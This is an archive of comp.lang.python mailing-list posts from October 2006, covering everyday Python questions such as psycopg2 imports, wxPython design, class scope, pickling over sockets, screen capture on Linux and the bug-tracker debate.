<1159803809.124967.262290@b28g2000cwb.googlegroups.com> References: <1159803809.124967.262290@b28g2000cwb.googlegroups.com> Message-ID: <1159805351.300305.138160@i42g2000cwa.googlegroups.com> Paolo wrote: > Ciao a tutti, sto cercando di implementare un applicazione che si > interfaccia con postgresql(8.1), utilizzando Psycopg2, in ambiente > windows (python versione 2.5). Ho installato Psycopg2 e provando > solamente fare: import psycopg mi ritorna il seguente errore: > > import psycopg > ImportError: No module named psycopg > > come mai? va settata qualche path oltre a quella di postgresql ? > > grazie dell'aiuto Well, if you are using Psycopg2, do import psycopg2 (and please use the italian mailing list for questions in Italian). Michele Simionato From onurb at xiludom.gro Mon Oct 2 05:18:15 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 02 Oct 2006 11:18:15 +0200 Subject: preemptive OOP? In-Reply-To: References: Message-ID: <4520d959$0$15868$636a55ce@news.free.fr> John Salerno wrote: > Ok, I have a new random question for today -- feel free to ignore and > get back to your real jobs! :) > > Anyway, I'm creating a GUI (yes, all part of my master plan to > eventually have some sort of database application working) and it's > going to involve a wx.Notebook control. I think I have two options for > how I can do this. Within the class for the main window frame, I can say: > > notebook = wx.Notebook(panel) # panel is parent of the Notebook control > > This uses the default wx.Notebook class, and works just fine. But I was > thinking, is it a smart idea to do this instead: > > class MyNotebook(wx.Notebook): > def __init__(self, parent): > wx.Notebook.__init__(self, parent) > > and then call it from the main frame as: > > notebook = MyNotebook(panel) > > This seems to allow for future expansion of the customized Notebook > class, but at the same time I have no idea how or why I'd want to do that. > > So my question in general is, is it a good idea to default to an OOP > design like my second example when you aren't even sure you will need > it? It of course depends on a lot of factors. Two of these factors are: 1/ given my current knowledge of the project, what are the probabilities that I'll end up subclassing wx.Notebook ? 2/ if so, in how many places would I have to s/wx.Notebook/MyNotebook/ The second factor is certainly the most important here. Even if the answer to 1/ is "> 50%", if there's only a couple of calls in a single file, there's really no need to do anything by now IMHO. As a side note, the common OO pattern for this potential problem is to replace direct instanciation with a factory, so you just have to modify the factory's implementation. Now one of the nice things with Python is that it doesn't have a "new" keyword, instead using direct calls to the class (the fact is that in Python, classes *are* factories already). Another nice thing is that you can easily 'alias' callables. The combination of these 2 features makes factory pattern mostly straightforward and transparent. As someone already pointed out, you don't need to subclass wx.Notebook - just 'alias' it to another name. > I know it won't hurt, Mmm... Not so sure. One could argue that "premature generalization is the root of all evil" !-) > and is probably smart to do sometimes, cf above. > but > maybe it also just adds unnecessary code to the program. It's not that much about the unnecessary code (which can boil down to a single assignement), but about the unnecessary level of indirection (which, as someone stated, is the one and only problem that cannot be solved by adding a level of indirection !-). -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From bernard.chhun at gmail.com Mon Oct 2 12:05:03 2006 From: bernard.chhun at gmail.com (Bernard) Date: 2 Oct 2006 09:05:03 -0700 Subject: Making posts to an ASP.NET webform. In-Reply-To: <452134c7$0$14008$edfadb0f@dread15.news.tele.dk> References: <1159800922.942615.28120@i42g2000cwa.googlegroups.com> <452134c7$0$14008$edfadb0f@dread15.news.tele.dk> Message-ID: <1159805102.970972.59340@b28g2000cwb.googlegroups.com> Max M wrote: > Bernard skrev: > > > Has anyone tried what I'm doing? and if you tried how have you > > succeeded getting the data back after the post action? > > Most likely you get assigned a cookie that you then need to return. > > Try the cookielib which automates all this for you. Yea I'm already using it. I set the cookies before making the server request. its name is ASP.NET_SessionId. I've tried setting it on & off during my various tests but I still get the "urllib2.HTTPError: HTTP Error 500: Internal Server Error" message. thanks for the response by the way :) From fulvio at tm.net.my Sat Oct 21 10:15:50 2006 From: fulvio at tm.net.my (Fulvio) Date: Sat, 21 Oct 2006 22:15:50 +0800 Subject: The fastest search In-Reply-To: References: Message-ID: <200610212215.50791.fulvio@tm.net.my> *********************** Your mail has been scanned by InterScan MSS. *********************** On Saturday 21 October 2006 19:09, Steven D'Aprano wrote: > So for searches that succeed, dicts are much faster than lists. Very precious advice. Thank you, indeed. The lesson was good :-) I'd only like to know if "List.index(vars)" has the same performance than "vars in List" or even it's the same thing. But, so far I still have my own question about that the search goes on the key's name rather then its paired value. In fact, in my actual case the value doesn't make any use. However the search goes on a few hundred email ID, the difference is less than a jiffy :-) F From steve at holdenweb.com Sun Oct 1 01:05:04 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 01 Oct 2006 06:05:04 +0100 Subject: question about scope In-Reply-To: <451f2fa7$0$14757$c3e8da3@news.astraweb.com> References: <451f2fa7$0$14757$c3e8da3@news.astraweb.com> Message-ID: John Salerno wrote: > I have the following code: > > > > class DataAccessFrame(wx.Frame): > > menu_items = [('File', 'New Database', 'New Record', 'Open > Database...', > 'Open Record...', 'Save Record', 'Save All Records', > 'Close Record', 'Close Database'), > ('Edit', 'Undo', 'Redo', 'Cut', 'Copy', 'Paste'), > ('Help',)] > > def __init__(self): > wx.Frame.__init__(self, None, title='Database Access Panel') > panel = wx.Panel(self) > self.create_menubar() > # notebook = wx.Notebook(panel) > > # sizer = wx.BoxSizer() > # sizer.Add(notebook, 1, wx.EXPAND) > # panel.SetSizer(sizer) > > def create_menubar(self): > menubar = wx.MenuBar() > for item in self.menu_items: > menu = wx.Menu() > menubar.Append(menu, item[0]) > for subitem in item[1:]: > menu.Append(-1, subitem) > self.SetMenuBar(menubar) > > In the create_menubar method, I got an error about the global name > "menu_items" not being defined, and this was fixed by putting "self." in > front of the variable name. > > But why is this necessary? Doesn't a method look in its enclosing class, > or is that not one of the levels of scope? The methods do indeed look in their enclosing class, but only for self-relative references. These are sought first in the instance, then in the instance's class, then in the instance's class's superclass, and so on up to the ultimate superclass. In other words, all attribute lookup uses the method resolution order ... You can also reference class variables relative to the class name (i.e. you could have used DataAccessFrame.menu_items) but that loses a lot of flexibility. Also note that when you bind a value to a self-relative name, that binding *always* occurs in the instance's namespace. Some people don't like that, but it's a fact of life that others use to provide instance defaults in class variables that are shadowed by an instance variable after a first assignment. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From jonas.esp at googlemail.com Fri Oct 20 09:04:02 2006 From: jonas.esp at googlemail.com (GinTon) Date: 20 Oct 2006 06:04:02 -0700 Subject: Integration of globalization data in Python web frameworks In-Reply-To: <1161282173.978279.159250@k70g2000cwa.googlegroups.com> References: <1161282173.978279.159250@k70g2000cwa.googlegroups.com> Message-ID: <1161349440.736255.92630@i42g2000cwa.googlegroups.com> The project web is activated http://webda.python-hosting.com/ GinTon wrote: > I have created several tables in CSV format with globalization data > (G11n). There are tables for countries, areas, languages, countries & > languages, time zones, phones. And they are licensed under a Creative > Commons license. > > http://svn.webda.python-hosting.com/trunk/G11n_data/ > > I created a new discussion group in order to facilitate the integration > of G11n data in any framework. It's focused on integrate it on Django > and TurboGears, but it could be integrated in whatever application with > the help of the discussions on this group. > > It's necessary to discuss several subjects before beginning with the > integration in the web frameworks. So I ask your collaboration. Thanks! > > http://groups.google.com/group/webda > > P.S.: I hope that you don't see this post as SPAM. This is something > very interesting for administrators and users of those web frameworks. From micahel at gmail.com Mon Oct 16 13:45:58 2006 From: micahel at gmail.com (micahel at gmail.com) Date: 16 Oct 2006 10:45:58 -0700 Subject: OT: What's up with the starship? In-Reply-To: <1161020365.264307.24100@i3g2000cwc.googlegroups.com> References: <1160926000.351967.8340@f16g2000cwb.googlegroups.com> <1160938429.707909.28360@f16g2000cwb.googlegroups.com> <1160947865.920162.173040@i3g2000cwc.googlegroups.com> <1160974552.906162.115060@k70g2000cwa.googlegroups.com> <1160983523.518768.16110@e3g2000cwe.googlegroups.com> <1160993757.780911.37610@b28g2000cwb.googlegroups.com> <1161020365.264307.24100@i3g2000cwc.googlegroups.com> Message-ID: <1161020758.218728.225800@k70g2000cwa.googlegroups.com> r... at yahoo.com wrote: > > > 5. Verifying that such a thing has not happened can be very > > > difficult, particularly if the date and other details of the > > > compromise cannot be accurately determined. > > > > I guess you should find out from the author of whatever you downloaded > > what the checksums should have been for what you downloaded and check > > that against what you downloaded. > > > > If you don't still have the downloaded files, I can tell you what the > > md5's of the files in the back up are. > > I don't think that would help in the case of Pywin32 since the > Sourceforge dates for build 210 are 9/22. > I emailed Mark Hammond but have not heard anything back yet. In the case of pywin32, are you at all sure that you actually downloaded anything from starship.python.net? AFAICT all the files are now hosted on sf, and there doesn't seem to be any vaguely new files in the backup of /home/www. Cheers, mwh From sigzero at gmail.com Wed Oct 4 21:39:59 2006 From: sigzero at gmail.com (Robert Hicks) Date: 4 Oct 2006 18:39:59 -0700 Subject: Python to use a non open source bug tracker? In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it> References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: <1160012399.435916.257550@m7g2000cwm.googlegroups.com> Giovanni Bajo wrote: > Hello, > > I just read this mail by Brett Cannon: > http://mail.python.org/pipermail/python-dev/2006-October/069139.html > where the "PSF infrastracture committee", after weeks of evaluation, recommends > using a non open source tracker (called JIRA - never heard before of course) > for Python itself. > > Does this smell "Bitkeeper fiasco" to anyone else than me? > -- > Giovanni Bajo No. Robert From hanumizzle at gmail.com Sun Oct 22 12:15:44 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Sun, 22 Oct 2006 12:15:44 -0400 Subject: Screen capture on Linux In-Reply-To: <1161533213.744934.67170@e3g2000cwe.googlegroups.com> References: <1161533213.744934.67170@e3g2000cwe.googlegroups.com> Message-ID: <463ff4860610220915q7b609780u9cb6b418c529a6ef@mail.gmail.com> On 22 Oct 2006 09:06:53 -0700, sjdevnull at yahoo.com wrote: > Paolo Pantaleo wrote: > > Hi, > > > > I need to capture a screen snapshot in Linux. PIL has a module > > IageGrab, but in the free version it only works under Windows. Is > > there any package to capture the screen on Linux? > > xwd comes with the X server. man xwd > > Most useful is "xwd -root" or similar. You may want "sleep 5; xwd > -root" to give you some time to set things up as needed, or map it to a > window manager keybinding. The problem with that is that xwd format is a non-standard format, and *uncompressed* on top of that. If he wants to distribute the image to friends, or whatever, he'll have to convert it to something like png anyway. If he's using Linux, he probably doesn't need to use xwd anyway and might as well save himself the effort (and HD space) now. -- Theerasak From luweewu at email.com Thu Oct 12 16:48:35 2006 From: luweewu at email.com (Rob) Date: Thu, 12 Oct 2006 20:48:35 GMT Subject: IDLE won't run References: Message-ID: hg banged out in news:gOwXg.22925$Go3.14764 at dukeread05: > > What kind of error do you see by calling idle from the command line > (ex: > "c:\....\python.exe c:\....\idle.py" > When I ran it that way, I got a raft of warnings about a "problem retrieving theme element 'builtin-forground'" from the colour theme that I had set up, then IDLE actually came up. After deleting my colour theme, I tried running IDLE in the usual manner (via the shortcut or by opening a .PY file in it), and it worked. (It's rather curious that, even after uninstalling version 2.4.3 completely, my theme was preserved when I installed 2.5.) From sigzero at gmail.com Sat Oct 7 09:38:31 2006 From: sigzero at gmail.com (Robert Hicks) Date: 7 Oct 2006 06:38:31 -0700 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45225A1C.8060106@v.loewis.de> Message-ID: <1160228311.641756.44940@i3g2000cwc.googlegroups.com> Giovanni Bajo wrote: > You might also be understimating how negative could be the reaction from the > open-source community to such a move. > -- > Giovanni Bajo That is simply rediculous. Step away from the kool-aid. Robert From ath-admin at vt.edu Tue Oct 17 17:43:17 2006 From: ath-admin at vt.edu (rick) Date: Tue, 17 Oct 2006 17:43:17 -0400 Subject: block devices In-Reply-To: <4pksfqFj9i5eU1@uni-berlin.de> References: <4pksfqFj9i5eU1@uni-berlin.de> Message-ID: Diez B. Roggisch wrote: > Reading it? Using read? > > f = open("/dev/foo") > f.read(1) > > Diez Wow, I didn't realize it was that simple. Thanks! From mumebuhi at gmail.com Tue Oct 24 18:50:29 2006 From: mumebuhi at gmail.com (mumebuhi) Date: 24 Oct 2006 15:50:29 -0700 Subject: Sending Dictionary via Network Message-ID: <1161730229.556578.278020@f16g2000cwb.googlegroups.com> Hi, Is it possible to send a non-string object from a Python program to another? I particularly need to send a dictionary over to the other program. However, this is not possible using the socket object's send() function. Help? Buhi From arkanes at gmail.com Mon Oct 9 18:21:49 2006 From: arkanes at gmail.com (Chris Mellon) Date: Mon, 9 Oct 2006 17:21:49 -0500 Subject: Initialization of variables using no-arg constructor In-Reply-To: References: Message-ID: <4866bea60610091521x62e65cf3n3e8618793e19a6b7@mail.gmail.com> On 10/9/06, Edward Waugh wrote: > Consider the following (working) Python code: > > import sys > > def sum(list): > # total = 0 does not work for non-numeric types > total = list[0].__class__() > for v in list: > total += v > return total > > l = [1, 2, 3] > print sum(l) > > l = [1.1, 2.2, 3.3] > print sum(l) > > l = ["a", "b", "c"] > print sum(l) > > In order for sum() to be generic I initialize total to the value of > list[0].__class__(). This works but I would like to know if this is the > correct or preferred way of doing it. It means that sum() must be given a > list whose elements are types or classes that have a no-arg constructor > (through this is probably almost always the case). > I'd do this: >>> def sum(list): ... total = list[0] ... for v in list[1:]: ... total += v ... return total I'm not sure if regular slice notation makes a copy of the list or not, if it does you can use itertools: >>> def sum(list): ... total = list[0] ... for v in itertools.islice(list, 1, len(list)): ... total += v ... return total > Thanks, > Edward > From sjmachin at lexicon.net Mon Oct 2 10:46:53 2006 From: sjmachin at lexicon.net (John Machin) Date: 2 Oct 2006 07:46:53 -0700 Subject: Python/UNO/OpenOffice? In-Reply-To: <1159794862.317582.214860@e3g2000cwe.googlegroups.com> References: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com> <1159792556.813570.10480@k70g2000cwa.googlegroups.com> <1159794483.092877.196110@m7g2000cwm.googlegroups.com> <1159794862.317582.214860@e3g2000cwe.googlegroups.com> Message-ID: <1159800413.806985.123060@m73g2000cwd.googlegroups.com> olive wrote: > ... and you have to start your py file with: > > import uno, sys, socket > from com.sun.star.beans import PropertyValue > > ... and your start_oo_server.bat file with: > > @SET PYTHONPATH=C:\Program Files\OpenOffice.org 2.0\program;C:\Program > Files\OpenOffice.org 2.0\program\python-core-2.3.4\lib > @SET PATH=C:\Program Files\OpenOffice.org 2.0\program;C:\Program > Files\OpenOffice.org 2.0\program\python-core-2.3.4\bin Many thanks for all that, olive; I made the minimal hacks to make it open an XLS ffile, and it worked! I'll try to see why that worked and my previous experiment crashed inside a DLL. Cheers, John From wahab at chemie.uni-halle.de Sun Oct 1 06:10:44 2006 From: wahab at chemie.uni-halle.de (Mirco Wahab) Date: Sun, 01 Oct 2006 12:10:44 +0200 Subject: builtin regular expressions? In-Reply-To: References: <451e37a5$1@news.vo.lu><87k63ly1gi.fsf@gmail.com> <877izlxsiy.fsf@gmail.com> <451ea5cc$1@news.vo.lu> <1159642479.968928.34760@k70g2000cwa.googlegroups.com> Message-ID: Thus spoke Steve Holden (on 2006-09-30 23:58): > Mirco Wahab wrote: >> Thus spoke MRAB (on 2006-09-30 20:54): >>>One of the differences between the Python way and the Perl way is that >>>the Perl way has a side-effect: ... >> I fail to see the benefit of a re-object, I consider these to >> be just there because regexes aren't in the core language. >> > Fine. Just because you fail to see the benefit, however, that doesn't > mean there isn't one. Maybe we just aren't explaining it in terms you > can appreciate? OK, maybe my communication style is bad or somehow 'Perl newsgroup-hardened' ;-) Of course, I'd like to really understand these things (as they were intended), probably modifying my look onto programming concepts then. Therefore, I'd like to have a usable and understandable example of Regex-object juggling, that shows clearly what its real benefit is (or gives an idea of - ). Afterwards, I'll surely try to deconstruct your assumptions hidden there in order to *get a better understanding* for myself ;-) Regards and thanks Mirco From maric at aristote.info Thu Oct 5 08:41:53 2006 From: maric at aristote.info (Maric Michaud) Date: Thu, 5 Oct 2006 14:41:53 +0200 Subject: Subclassing built-in classes In-Reply-To: References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com> Message-ID: <200610051441.54455.maric@aristote.info> Le jeudi 05 octobre 2006 14:20, Steve Holden a ?crit?: > Unfortunately the literals are interpreted during bytecode generation, > before the compiled program is available, and your modifications to > __builtns__ haven't been made, so the answer is "no", I'm afraid. But what prevents to interpret literals as a call to __builtins__ objects and functions ? optimization ? what else ? -- _____________ Maric Michaud _____________ Aristote - www.aristote.info 3 place des tapis 69004 Lyon Tel: +33 426 880 097 From davidh at ilm.com Fri Oct 13 14:19:03 2006 From: davidh at ilm.com (David Hirschfield) Date: Fri, 13 Oct 2006 11:19:03 -0700 Subject: Sending binary pickled data through TCP In-Reply-To: <452fd460$0$4526$e4fe514c@news.xs4all.nl> References: <452fd460$0$4526$e4fe514c@news.xs4all.nl> Message-ID: <452FD897.6080908@ilm.com> I've looked at pyro, and it is definitely overkill for what I need. If I was requiring some kind of persistent state for objects shared between processes, pyro would be awesome...but I just need to transfer chunks of complex python data back and forth. No method calls or keeping state in sync. I don't find socket code particularly nasty, especially through a higher-level module like asyncore/asynchat. -Dave Irmen de Jong wrote: > David Hirschfield wrote: > >> I have a pair of programs which trade python data back and forth by >> pickling up lists of objects on one side (using >> pickle.HIGHEST_PROTOCOL), and sending that data over a TCP socket >> connection to the receiver, who unpickles the data and uses it. >> >> So far this has been working fine, but I now need a way of separating >> multiple chunks of pickled binary data in the stream being sent back and >> forth. >> > [...] > > Save yourself the trouble of implementing some sort of IPC mechanism > over sockets, and give Pyro a swing: http://pyro.sourceforge.net > > In Pyro almost all of the nastyness that is usually associated with socket > programming is shielded from you and you'll get much more as well > (a complete pythonic IPC library). > > It may be a bit heavy for what you are trying to do but it may > be the right choice to avoid troubles later when your requirements > get more complex and/or you discover problems with your networking code. > > Hth, > ---Irmen de Jong > -- Presenting: mediocre nebula. -------------- next part -------------- An HTML attachment was scrubbed... URL: From sybrenUSE at YOURthirdtower.com.imagination Wed Oct 4 02:00:54 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Wed, 4 Oct 2006 08:00:54 +0200 Subject: How to get keyboard event in Linux console? References: <1159934069.847446.97150@i3g2000cwc.googlegroups.com> Message-ID: Jia,Lu enlightened us with: > I want to deal keyboard event in Linux console. > Example: I Create a deamon at background and when I press F1 key > then print Hello at Console. Type "who" and see which PTY you're connected to: sybren pts/0 2006-10-04 07:55 (klappie.stuvel.eu) So I'm connected to pts/0. If you read from /dev/pts/0, you'll see everything I type. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From bill.pursell at gmail.com Sun Oct 15 01:46:43 2006 From: bill.pursell at gmail.com (Bill Pursell) Date: 14 Oct 2006 22:46:43 -0700 Subject: Starting out. In-Reply-To: <12ivbmoav9liff8@corp.supernews.com> References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> <1160715256.698199.64540@h48g2000cwc.googlegroups.com> <1160749619.514641.11870@k70g2000cwa.googlegroups.com> <1160752561.4515.1.camel@dsktp> <12ivbmoav9liff8@corp.supernews.com> Message-ID: <1160891203.880019.243460@i3g2000cwc.googlegroups.com> Grant Edwards wrote: > > Perl has syntax? ROTFLMAO. In fact, that even motivated: Psychotically Engineered Random Language. -- Bill Pursell From steve at holdenweb.com Sat Oct 28 08:07:39 2006 From: steve at holdenweb.com (Steve Holden) Date: Sat, 28 Oct 2006 13:07:39 +0100 Subject: Import if condition is correct In-Reply-To: <1162035371.172600.293680@h48g2000cwc.googlegroups.com> References: <1162031606.988480.131330@k70g2000cwa.googlegroups.com> <1162032099.393489.321290@e3g2000cwe.googlegroups.com> <1162035371.172600.293680@h48g2000cwc.googlegroups.com> Message-ID: MindClass wrote: > Steve Holden wrote: > >>I'm guessing that you think this might be necessary to avoid importing >>the same module multiple times: it's not. Python only runs the module's >>code the first time the module is imported into a program. A further >>import statement effectively does noting, because the interpreter sees >>(from an entry in the sys.modules dictionary) that the module is already >>present. >> > > The problem is that I've to import different libraries according to the > ORM (SQLObject, SQLAlchemy, etc) > So why the need for global variables? if MySQL_wanted: import MySQLdb as db elif sqlite_wanted: import pysqlite as db else: import psycopg2 as db conn = db.connect(...) ... regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From agriff at tin.it Mon Oct 23 02:43:40 2006 From: agriff at tin.it (Andrea Griffini) Date: Mon, 23 Oct 2006 08:43:40 +0200 Subject: Arrays? (Or lists if you prefer) In-Reply-To: <%jV_g.7670$5i7.2617@newsreading01.news.tds.net> References: <1161565656.906572.209750@f16g2000cwb.googlegroups.com> <%jV_g.7670$5i7.2617@newsreading01.news.tds.net> Message-ID: <453c63ea$0$4578$4fafbaef@reader2.news.tin.it> Neil Cerutti wrote: > >>> b =[range(2), range(2)] I often happened to use b = [[0] * N for i in xrange(N)] an approach that can also scale up in dimensions; for example for a cubic NxNxN matrix: b = [[[0] * N for i in xrange(N)] for j in xrange(N)] Andrea From gigs at hi.t-com.hr Thu Oct 19 05:50:21 2006 From: gigs at hi.t-com.hr (Gigs_) Date: Thu, 19 Oct 2006 11:50:21 +0200 Subject: characters in python In-Reply-To: References: Message-ID: I solve it. Just have to do another encoding: http://www.python.org/dev/peps/pep-0263/ From martin at v.loewis.de Wed Oct 4 15:40:09 2006 From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 04 Oct 2006 21:40:09 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> Message-ID: <45240E19.3040000@v.loewis.de> Giovanni Bajo schrieb: >>> I hope this >>> recommendation from the "PSF infrastructure committee" is rejected. >> That is very very unlikely. Who would reject it, and why? > > The community, and I am impressed you do not want to understand the "why". How would "the community" actually reject it? By not using it? Well, that won't happen: They use the current SF tracker, despite it being non-free software. > It is an extremely bad picture for an open source flag like Python to go to a > vendor for such an easy requirement as a bug database. You fail to recognize that Python is *already* using a non-free software for bug tracking, as do thousands of other projects. So from that point of view, the status wouldn't change. Regards, Martin From python.list at tim.thechases.com Mon Oct 23 18:15:01 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Mon, 23 Oct 2006 17:15:01 -0500 Subject: mean ans std dev of an array? In-Reply-To: <1161640155.326890.288440@i42g2000cwa.googlegroups.com> References: <1161640155.326890.288440@i42g2000cwa.googlegroups.com> Message-ID: <453D3EE5.8040009@tim.thechases.com> > import array > a = array.array('f', [1,2,3]) > print a.mean() > print a.std_dev() > > Is there a way to calculate the mean and standard deviation on array > data? > > Do I need to import it into a Numeric Array to do this? No, you don't have to...though there are likely some stats modules floating around. However, they're pretty simple to implement: >>> import array >>> import math >>> a = array.array('f', [1,2,3]) >>> mean = lambda a: sum(a)/len(a) >>> mean(a) 2.0 >>> a array('f', [1.0, 2.0, 3.0]) >>> def stdev(a): ... m = mean(a) ... return math.sqrt(sum((x-m) ** 2 for x in a) / len(a)) ... >>> stdev(a) 0.81649658092772603 Pretty much a no-brainer implementation of the algorithm described at http://en.wikipedia.org/wiki/Standard_deviation -tkc From fredrik at pythonware.com Fri Oct 6 02:36:07 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 06 Oct 2006 08:36:07 +0200 Subject: help on pickle tool In-Reply-To: <463ff4860610052326s735fbeb7m2d4584b7ee1c569e@mail.gmail.com> References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160112357.891308.200020@i42g2000cwa.googlegroups.com> <1160114085.944898.224340@k70g2000cwa.googlegroups.com> <1160115558.554509.292870@c28g2000cwb.googlegroups.com> <463ff4860610052326s735fbeb7m2d4584b7ee1c569e@mail.gmail.com> Message-ID: hanumizzle wrote: > I guess I'll keep an open mind. But I like editing YAML for the same > reason that I like editing Python. JSON is almost identical to Python's expression syntax, of course, while YAML isn't even close. From spe.stani.be at gmail.com Thu Oct 19 20:34:49 2006 From: spe.stani.be at gmail.com (SPE - Stani's Python Editor) Date: 19 Oct 2006 17:34:49 -0700 Subject: SPE for 2.5? References: <1160950716.385705.161880@b28g2000cwb.googlegroups.com> <1160951306.307324.293710@h48g2000cwc.googlegroups.com> Message-ID: <1161304489.359981.246070@e3g2000cwe.googlegroups.com> Hi Fuzzy, I think you refer to pyxides (http://pyxides.stani.be). Pyxides turned out to be more like an exchange between different IDE developpers, rather than a common project. There are a lot of reasons for that: different GUI toolkits, geographical distances rendering physical sprints almost impossible (although necessary for such task), no financial resources, nobody with the time or ambition to lead such a project, ... So no immediate result for the end users, although for the developers there was some limited exchange. In a world with furious discussions about KDE or Gnome, Windows, Linux or Mac, deb or rpm, vim or emacs, not to mention Tkinkter, pyGTK, wxPython, pyKDE, pyCocoa, ... this might not come as a surprise. Appearantly, despite the fact that python IDE's are only a relative very small segment, did not matter so much. It seems also that programmers are addicted to threads about the best IDE. Maybe we as developers should not take that joy away, but provide some healthy competition instead. I guess collaboration is only possible within one gui toolkit (this is not meant technically of course), as gui toolkits are not so much about technique but more about philosophy. That said, a new version of SPE 0.8.3.a is going to be released soon. Yes, open source projects do hibernate, which by some people is wrongly perceived as ..., but anyway SPE is alive and will always be unless I say differently. Best whishes, Stani -- http://pythonide.stani.be -- PS I am still looking for people using with python 2.3 and (maybe in case John won't) 2.5 to create installers for windows. (I know I can do through vmware, but I prefer otherwise.) PS2 This was not written with FireFox2, so please forgive any spelling mistakes ;-) Fuzzyman schreef: > SPE - Stani's Python Editor wrote: > > John Salerno schreef: > > > > > Does anyone know if SPE is compatible with Python 2.5? I don't see a > > > Windows exe file for 2.5, so I wasn't sure if I should use the 2.4 version. > > > > > > Thanks. > > > > It should be. Contact me and I'll help you to make a 2.5 installer, > > which I'll gladly provide for download. I use SPE on daily basis > > myself. > > Hello Stani, > > Work on it does seem to have slowed down. > > When do you expect your new project to start bearing fruit ? > > Fuzzyman > http://www.voidspace.org.uk > > > > > > Stani From no-spam at no-spam-no-spam.com Fri Oct 27 10:02:16 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Fri, 27 Oct 2006 16:02:16 +0200 Subject: conditional computation In-Reply-To: <4541f4d7$0$7249$426a74cc@news.free.fr> References: <4541369b$0$2875$426a74cc@news.free.fr> <4541f4d7$0$7249$426a74cc@news.free.fr> Message-ID: Bruno Desthuilliers wrote: > robert wrote: >> Bruno Desthuilliers wrote: >>> robert a ?crit : >>> (snip) >>>> class MemoCache(dict): # cache expensive Objects during a session >>>> (memory only) >>>> def memo(self, k, f): >>>> try: return self[k] >>>> except KeyError: #<--------- was error >>>> return self.setdefault(k, f()) >>>> cache=MemoCache() >>>> ... >>>> >>>> o = cache.memo( complex-key-expr, lambda: expensive-calc-expr ) >>>> >>> And how do you get back the cached value without rewriting both >>> complex-key-expr *and* expensive-calc-expr ? Or did I missed the point ? >> the complex-key-expr is written only once in the code > > How do you get something back from the cache then ? > >> expensive-calc-expr is written only once in code > > Same problem here... I fail to understand how you intend to use this > "cache". the first time, "self.setdefault(k, f())" executes the lambda ("f()"), stores it to the cache dict and the value is returned. then on cache hit the stored value is just returned from the cache dict "try: return self[k]" and the lambda is not executed again. note: the lambda expression expensive-calc-expr is just compiled but not executed as long as it is not called ( "f()" ) -robert From cameron.walsh at gmail.com Thu Oct 5 23:11:09 2006 From: cameron.walsh at gmail.com (Cameron Walsh) Date: Fri, 06 Oct 2006 11:11:09 +0800 Subject: user modules In-Reply-To: <1160076227.300513.183740@c28g2000cwb.googlegroups.com> References: <1160067331.530002.178270@h48g2000cwc.googlegroups.com> <1160076227.300513.183740@c28g2000cwb.googlegroups.com> Message-ID: Juho Schultz wrote: > Juho Schultz wrote: >> Cameron Walsh wrote: >>> Hi, >>> >>> I'm writing a python program to analyse and export volumetric data. To >>> make development and extension easier, and to make it more useful to the >>> public when it is released (LGPL), I would like to enable users to place >>> their own python files in a "user_extensions" directory. These files >>> would implement a common interface in order for the main program to be >>> able to read them and execute the necessary code. >>> >>> My question is what is the best way of implementing this? >>> >>> I have investigated importing them as modules, but unless the user >>> modifies the main program I cannot see how the main program can learn of >>> the existence of specific modules. >>> >> One simple solution would be a shell script that adds user_extensions >> (or whatever) to $PYTHONPATH and then starts your main program. > > Sorry... I was typing faster than reading or thinking. > > You could have a __init__.py file within user_extensions with > __all__ = ["package1", "package2"] > > If you want every python file within some directory in here, you can > auto-generate the __init__.py file in user_extension before importing. > (Or you could have some sort of tester for new .py files detected and > only after you are sure it works, add it.) > > from user_extensions import * > > would import everything mentioned in __all__. You also have access to > their names through > user_extensions.__all__ > > The last step would be to put the modules into a list. After the > import, > > user_ext_list = [eval(elem) for elem in user_extensions.__all__ ] > for ext in user_ext_list: > ext.initialize() > ext.get_tab_window() > Thanks Juho, Your solution also worked a charm. I like the suggestion of a tester before adding a module to the __all__ list. Thanks for teaching me about the eval() function, I've been wondering how to turn a string into a python command. From orangestripe at gmail.com Thu Oct 19 19:29:05 2006 From: orangestripe at gmail.com (gel) Date: 19 Oct 2006 16:29:05 -0700 Subject: I would like write some data recovery software References: <1161141519.989567.195330@i42g2000cwa.googlegroups.com> Message-ID: <1161300545.779504.101800@f16g2000cwb.googlegroups.com> Laurent Pointal wrote: > gel a ?crit : > > I would like to write some data recovery software as a learning thing. > > The sort of thing that you would use to recover data from a currupt HDD > > or floppy etc. I would like to be pointed in the right direction as > > far as modules to use and suggested approaches. > > > > Once you get a way to access the bytes to recover... the Hachoir library > can be interresting as a model to map structures on these data. > > http://hachoir.org/ > > > A+ > > Laurent. Cheers, I am having a bit of look at it now From blair.houghton at gmail.com Sun Oct 1 13:32:14 2006 From: blair.houghton at gmail.com (Blair P. Houghton) Date: 1 Oct 2006 10:32:14 -0700 Subject: How can I correct an error in an old post? In-Reply-To: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> 